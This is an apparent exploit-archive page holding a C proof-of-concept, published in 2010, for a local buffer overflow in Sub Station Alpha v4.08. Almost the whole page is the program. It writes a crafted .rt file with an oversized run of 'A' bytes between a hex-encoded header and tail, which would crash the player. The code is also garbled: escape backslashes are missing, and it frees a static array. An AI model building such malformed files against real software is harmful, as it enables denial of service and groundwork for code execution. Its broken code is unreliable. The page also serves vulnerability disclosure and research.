[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Sub Station Alpha v4.08 .rt file Local Buffer Overflow PoC
# Published : 2010-01-15
# Author : fl0 fl0w
# Previous Title : OtsTurntables Free v1.00.047 SEH Overwrite POC
# Next Title : Multiple Media Player HTTP DataHandler Overflow (Itunes, Quicktime, etc)


/*Sub Station Alpha v4.08 .rt file local buffer overflow poc
     by fl0 fl0w*/
#include <string.h>
#include <stdio.h>

#define FIL3 "testfile.rt"
   char header[]=
   {
             "x3Cx77x69x6Ex64x6Fx77x20x68x65x69x67x68x74x3Dx22x32x35x30x22x20x77x69x64x74x68x3Dx22x33x30"
             "x30x22x20x64x75x72x61x74x69x6Fx6Ex3Dx22x31x35x22x20x62x67x63x6Fx6Cx6Fx72x3Dx22x79x65x6Cx6C"
             "x6Fx77x22x3Ex0Dx0Ax4Dx61x72x79x20x68x61x64x20x61x20x6Cx69x74x74x6Cx65x20x6Cx61x6Dx62x2Cx0D"
             "x0Ax3Cx62x72x2Fx3Ex3Cx74x69x6Dx65x20x62x65x67x69x6Ex3Dx22"     //header 109 bytes
   };        
   char tail[]=
   {   
            //junk
            "x22x2Fx3Ex0Dx0Ax3Cx62x72x2Fx3Ex3Cx74x69x6Dx65x20x62x65x67x69x6Ex3Dx22x36x22x2Fx3Ex6Cx69x74"
            "x74x6Cx65x20x6Cx61x6Dx62x2Cx0Dx0Ax3Cx62x72x2Fx3Ex3Cx74x69x6Dx65x20x62x65x67x69x6Ex3Dx22x39"
            "x22x2Fx3Ex4Dx61x72x79x20x68x61x64x20x61x20x6Cx69x74x74x6Cx65x20x6Cx61x6Dx62x0Dx0Ax3Cx62x72"
            "x2Fx3Ex3Cx74x69x6Dx65x20x62x65x67x69x6Ex3Dx22x31x32x22x2Fx3Ex77x68x6Fx73x65x20x66x6Cx65x65"
            "x63x65x20x77x61x73x20x77x68x69x74x65x20x61x73x20x73x6Ex6Fx77x2Ex0Dx0Ax3Cx2Fx77x69x6Ex64x6F"
            "x77x3Ex0Dx0A"    //tail 154 bytes
   };      
   char banner[]=
   {
            "***********************************************************n"
            "Sub Station Alpha v4.08 .rt file local buffer overflow poc*n"
            "     by fl0 fl0w                                          *n"
            "***********************************************************n"
   };      
/*--------prototypes------*/  
   int cpy(char*,char*,int);
   int cpystr(char*,int,int,int);
   void print(char*);
   unsigned int getFsize(FILE*,char*);
/*-----extern var--------*/
   char b[1000000];  
   char *size;  
   char junk[1000000];
/*--------main---------------*/
    int main()
    {   
        printf("%s",banner);
        print("Starting sploit");
        memset(junk,0x41,99999);
         buildf(FIL3);
          print("File done!");
          getchar();
          return 0;
    }             
  int buildf(char* fname)
  {
      FILE* fp=fopen(fname,"wb");
        
      if(fp==NULL)
      {
         print("File writing error"); 
         exit(0);
      }   
      fprintf(fp,"%s%s%s",header,junk,tail);
      printf("[!]File is %d bytes",getFsize(fp,FIL3));
      fclose(fp);
      free(b);
              
      return 0;  
  }   
   unsigned int getFsize(FILE* g,char* gname)
   {
            unsigned int s;
            
             g=fopen(gname,"rb");
              
             if(g==NULL)
             {
             print("File error at reading");
             exit(0);
             }            
             fseek(g,0,SEEK_END);
             s=ftell(g);
             
            return s;
   }   
   int cpy(char* source,char* dest,int offset)
   {
     int len;
     len=strlen(source);
     memcpy(dest+offset,source,len+1);
     
     return len;
   } 
   int cpystr(char* dest,int str,int len,int offset)
  {
      memset(dest+offset,str,len+1);
      return len; 
  }     
   void print(char* msg)
   {
     printf("n[*]%sn",msg);
   }